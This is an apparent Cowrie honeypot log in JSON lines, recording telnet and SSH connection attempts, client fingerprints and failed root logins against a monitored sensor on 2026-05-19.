{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55588,"dst_ip":"10.17.0.5","dst_port":23,"session":"d258f9bf6ef4","protocol":"telnet","message":"New connection: 192.119.13.58:55588 (10.17.0.5:23) [session: d258f9bf6ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:31.326340Z"}
{"eventid":"cowrie.session.closed","duration":45.0730197429657,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:31.384789Z","src_ip":"192.119.13.58","session":"8daaf95b8aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32918,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4a43c03eb25","protocol":"telnet","message":"New connection: 192.119.13.58:32918 (10.17.0.5:23) [session: b4a43c03eb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:32.844717Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35714,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0ae22af21c","protocol":"telnet","message":"New connection: 192.119.13.58:35714 (10.17.0.5:23) [session: cf0ae22af21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:33.559227Z"}
{"eventid":"cowrie.session.closed","duration":41.477607011795044,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:35.064891Z","src_ip":"192.119.13.58","session":"b1c6dec666f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.167513370513916,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:35.220513Z","src_ip":"192.119.13.58","session":"bf8a7c4d73dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4f50818b74","protocol":"telnet","message":"New connection: 192.119.13.58:60474 (10.17.0.5:23) [session: 4e4f50818b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:40.581762Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37752,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2feea4feb95","protocol":"telnet","message":"New connection: 192.119.13.58:37752 (10.17.0.5:23) [session: e2feea4feb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:49.686003Z"}
{"eventid":"cowrie.session.closed","duration":34.902419567108154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:50.855343Z","src_ip":"192.119.13.58","session":"904551a2faa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.07024073600769,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:52.295958Z","src_ip":"192.119.13.58","session":"c6957b38b311","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.50723195075989,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:27:53.183668Z","src_ip":"192.119.13.58","session":"8afc43d46e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04087519645691,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:00.941553Z","src_ip":"192.119.13.58","session":"4f36d84bd18c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.26369833946228,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:02.618163Z","src_ip":"192.119.13.58","session":"1100c3edc381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47580,"dst_ip":"10.17.0.5","dst_port":23,"session":"0268025cff59","protocol":"telnet","message":"New connection: 192.119.13.58:47580 (10.17.0.5:23) [session: 0268025cff59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:06.989754Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53210,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aed327ff27b","protocol":"telnet","message":"New connection: 192.119.13.58:53210 (10.17.0.5:23) [session: 1aed327ff27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:08.339260Z"}
{"eventid":"cowrie.session.closed","duration":37.76264786720276,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:09.088912Z","src_ip":"192.119.13.58","session":"d258f9bf6ef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.981714487075806,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:10.999141Z","src_ip":"192.119.13.58","session":"c3e3629d9a12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38700,"dst_ip":"10.17.0.5","dst_port":23,"session":"875cb02b17c9","protocol":"telnet","message":"New connection: 192.119.13.58:38700 (10.17.0.5:23) [session: 875cb02b17c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:11.867759Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38702,"dst_ip":"10.17.0.5","dst_port":23,"session":"70f2520e1392","protocol":"telnet","message":"New connection: 192.119.13.58:38702 (10.17.0.5:23) [session: 70f2520e1392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:11.874151Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42240,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4b4d451444a","protocol":"telnet","message":"New connection: 192.119.13.58:42240 (10.17.0.5:23) [session: b4b4d451444a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:12.837024Z"}
{"eventid":"cowrie.session.closed","duration":42.332419872283936,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:15.177019Z","src_ip":"192.119.13.58","session":"b4a43c03eb25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.631653785705566,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:15.190786Z","src_ip":"192.119.13.58","session":"cf0ae22af21c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":47130,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f1e79eb2c86","protocol":"ssh","message":"New connection: 77.94.47.83:47130 (159.203.135.109:22) [session: 4f1e79eb2c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:16.509533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:16.514081Z","src_ip":"77.94.47.83","session":"4f1e79eb2c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:16.639591Z","src_ip":"77.94.47.83","session":"4f1e79eb2c86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artur","message":"login attempt [root/artur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:17.400043Z","src_ip":"77.94.47.83","session":"4f1e79eb2c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:18.528530Z","src_ip":"77.94.47.83","session":"4f1e79eb2c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.455557346343994,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:19.037187Z","src_ip":"192.119.13.58","session":"4e4f50818b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42024,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f7634bdbd6","protocol":"telnet","message":"New connection: 192.119.13.58:42024 (10.17.0.5:23) [session: a3f7634bdbd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:19.997540Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.198","src_port":31204,"dst_ip":"10.17.0.5","dst_port":22,"session":"e572a66323b0","protocol":"ssh","message":"New connection: 154.16.180.198:31204 (10.17.0.5:22) [session: e572a66323b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:22.588908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:22.594431Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:22.686532Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:8c:e2:cc:c8:a4:e5:1a:49:50:1f:2f:a8:d4:81:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq2DJSMowRism6iPiSsKGNMFzwT4qrFIUWWkrIjGZwbz5EtNeWbCG5Czdz9iqigJBG2rIFo9xjPaotc6J8uCDdR8QD3VIPQjXZagsaJNFGE8WTAdrYnUwyDwHtYIe6HeKMglJ4OcAY2rTEOVcrcJZatzFjSwEuc7NamztUJRj4QV56tO8TYLpV7/AjYvq8E3EE0/XxMnNll+r9dNnOhHuO4ZaSREKBZZArbZ6tGpOsfR+ldLkXOTfliLqd+NnqhtzuGG6viKwmyOGLyXAXAaC4OY3K30C9NR27C2iMhdOO6fioyVP3WWggAxb4TJpsHkNkXK9GD5mT+rTmEH275t+6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:8c:e2:cc:c8:a4:e5:1a:49:50:1f:2f:a8:d4:81:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.099841Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:8c:e2:cc:c8:a4:e5:1a:49:50:1f:2f:a8:d4:81:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq2DJSMowRism6iPiSsKGNMFzwT4qrFIUWWkrIjGZwbz5EtNeWbCG5Czdz9iqigJBG2rIFo9xjPaotc6J8uCDdR8QD3VIPQjXZagsaJNFGE8WTAdrYnUwyDwHtYIe6HeKMglJ4OcAY2rTEOVcrcJZatzFjSwEuc7NamztUJRj4QV56tO8TYLpV7/AjYvq8E3EE0/XxMnNll+r9dNnOhHuO4ZaSREKBZZArbZ6tGpOsfR+ldLkXOTfliLqd+NnqhtzuGG6viKwmyOGLyXAXAaC4OY3K30C9NR27C2iMhdOO6fioyVP3WWggAxb4TJpsHkNkXK9GD5mT+rTmEH275t+6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.104255Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:f6:2c:1c:2c:29:ef:43:3c:07:a3:bc:63:f6:36:4a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIGmxSamc9zo4rpTR0iZnp6JomQIs+BlEi9YCjJHz55Dffw2WeV+IrWheC38Srs/lUauEHwhCOB1YTQtrXRhjd2AHqEDETh8H27QSj6VvmzBiK+5VsuM4BM6m8uwzNJhpBUxVai0+iMKmu83TR0cGjzv5ADzCkBs+Ag3DOjHP4XpAAAAFQCmA3e5yXem8vp8c+4Wt3gojCPG/wAAAIAeqX2D1+UudU//a6L+nhlbXGEcQD8dpwK2cnZtv9CC8YGHYD0qco1TqTTNNVFbhdCXn8IKlFtoitlmRISdR1qOypY7ST2djTZC2lkh/WdyizAG6PnP3KxuGeC3fypJNUx3F+BkqsiO3swzdb7uMRihdfojVKIE8gg7/ZjgTpNxowAAAIAV/eG7J/n5/Z84RzQhYxqX6DV6dMNCGRpx6IbINWtvcN6TL4YPw929oGf/ldJGnKm1SaYaeJgMHJguSXy4A4FPpWg3OcrbJE3W6y338nqtxyjJwK4Sfo7hTqyAsKfaJOPfipGaATH3sSauR3AFPzfDB1ZXvBhKsiIblgLwY4xV4Q==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 91:f6:2c:1c:2c:29:ef:43:3c:07:a3:bc:63:f6:36:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.193431Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:f6:2c:1c:2c:29:ef:43:3c:07:a3:bc:63:f6:36:4a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIGmxSamc9zo4rpTR0iZnp6JomQIs+BlEi9YCjJHz55Dffw2WeV+IrWheC38Srs/lUauEHwhCOB1YTQtrXRhjd2AHqEDETh8H27QSj6VvmzBiK+5VsuM4BM6m8uwzNJhpBUxVai0+iMKmu83TR0cGjzv5ADzCkBs+Ag3DOjHP4XpAAAAFQCmA3e5yXem8vp8c+4Wt3gojCPG/wAAAIAeqX2D1+UudU//a6L+nhlbXGEcQD8dpwK2cnZtv9CC8YGHYD0qco1TqTTNNVFbhdCXn8IKlFtoitlmRISdR1qOypY7ST2djTZC2lkh/WdyizAG6PnP3KxuGeC3fypJNUx3F+BkqsiO3swzdb7uMRihdfojVKIE8gg7/ZjgTpNxowAAAIAV/eG7J/n5/Z84RzQhYxqX6DV6dMNCGRpx6IbINWtvcN6TL4YPw929oGf/ldJGnKm1SaYaeJgMHJguSXy4A4FPpWg3OcrbJE3W6y338nqtxyjJwK4Sfo7hTqyAsKfaJOPfipGaATH3sSauR3AFPzfDB1ZXvBhKsiIblgLwY4xV4Q==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.197677Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:73:03:ad:43:79:f1:ac:52:e9:0b:32:d5:ec:42:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIbUlijPOfyF8lXvGMgKnU5ujvU9ZMBfgORi7kbSOR903Iczn4PUNn782ZkGA34/8dFdAwFnPuJh4H5q1LwGXGdYkCHTN98BJruXLuh7RaMRu/NSu0VZd/+jdHkD9bvgBg1R2R6jPJZu6QNPc+61ZuSb2fFjDetw8g/G5QhxZ5MJZXR9SvlYhPEQhoNXS0wQPdKckZBoAhtjK2QAmwq5PL26qUvqllFZNnfJOBxyT3oN2g5LzqWpNMLiyk5c2gPtn2zgVr2G2toRCuGWRGPCZnltt+EqHpuUMprIISDCeSqqlv05w6GccFz1GLa2ArFFFXRd/EwVcM98Hb9Rngi0Dd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:73:03:ad:43:79:f1:ac:52:e9:0b:32:d5:ec:42:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.286663Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:73:03:ad:43:79:f1:ac:52:e9:0b:32:d5:ec:42:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIbUlijPOfyF8lXvGMgKnU5ujvU9ZMBfgORi7kbSOR903Iczn4PUNn782ZkGA34/8dFdAwFnPuJh4H5q1LwGXGdYkCHTN98BJruXLuh7RaMRu/NSu0VZd/+jdHkD9bvgBg1R2R6jPJZu6QNPc+61ZuSb2fFjDetw8g/G5QhxZ5MJZXR9SvlYhPEQhoNXS0wQPdKckZBoAhtjK2QAmwq5PL26qUvqllFZNnfJOBxyT3oN2g5LzqWpNMLiyk5c2gPtn2zgVr2G2toRCuGWRGPCZnltt+EqHpuUMprIISDCeSqqlv05w6GccFz1GLa2ArFFFXRd/EwVcM98Hb9Rngi0Dd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.290884Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:cf:99:eb:98:ea:90:5b:b8:e8:b3:e4:c5:45:af:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAugxB6e3ipKMqCRf6lTgehEf1ASS5ru01j6HbQ4NbiYs2yaL4qcCL2wVix7+b/fasid7ge6YW+SOx8eUcsX0zz4O4WfjeZ5OB9+s0bloIbSEJSAB1jY00ow251d3F2UYSM0uSPWOmc3M+qCFdq1MA57YFVlSFvwlKzlPss+ZovSndi5/Dv9Ax9vH6J1yQAiEamf2iWjyRq7QvhR7ozkP3czxmcWOJtGnocdrgQNxjuywJCyRBKiHMstNSv+2CfExh8REbahpoQ/ybXJVqr4mFuAoD+XnEPMQN3kYBK/iMjnhUwy7IbG5zawrZU8Y3jgU0s/nnXq+Je4xtFy9dm+0+KQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:cf:99:eb:98:ea:90:5b:b8:e8:b3:e4:c5:45:af:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.381108Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:cf:99:eb:98:ea:90:5b:b8:e8:b3:e4:c5:45:af:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAugxB6e3ipKMqCRf6lTgehEf1ASS5ru01j6HbQ4NbiYs2yaL4qcCL2wVix7+b/fasid7ge6YW+SOx8eUcsX0zz4O4WfjeZ5OB9+s0bloIbSEJSAB1jY00ow251d3F2UYSM0uSPWOmc3M+qCFdq1MA57YFVlSFvwlKzlPss+ZovSndi5/Dv9Ax9vH6J1yQAiEamf2iWjyRq7QvhR7ozkP3czxmcWOJtGnocdrgQNxjuywJCyRBKiHMstNSv+2CfExh8REbahpoQ/ybXJVqr4mFuAoD+XnEPMQN3kYBK/iMjnhUwy7IbG5zawrZU8Y3jgU0s/nnXq+Je4xtFy9dm+0+KQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.385415Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:c3:0a:90:a5:29:89:1f:aa:92:c7:07:d8:c3:e0:02","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVLqn4lj99eLXJbV3KmyCqlHi+Sz9kQsfkW7LsRgaTH","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 86:c3:0a:90:a5:29:89:1f:aa:92:c7:07:d8:c3:e0:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.473522Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:c3:0a:90:a5:29:89:1f:aa:92:c7:07:d8:c3:e0:02","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVLqn4lj99eLXJbV3KmyCqlHi+Sz9kQsfkW7LsRgaTH","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.477268Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.564838Z","src_ip":"154.16.180.198","session":"e572a66323b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.01212930679321,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.698005Z","src_ip":"192.119.13.58","session":"e2feea4feb95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":39206,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b202905b18d","protocol":"ssh","message":"New connection: 103.183.114.55:39206 (159.203.135.109:22) [session: 3b202905b18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.923611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.929699Z","src_ip":"103.183.114.55","session":"3b202905b18d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57944,"dst_ip":"10.17.0.5","dst_port":23,"session":"803af8291969","protocol":"telnet","message":"New connection: 192.119.13.58:57944 (10.17.0.5:23) [session: 803af8291969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:23.935873Z"}
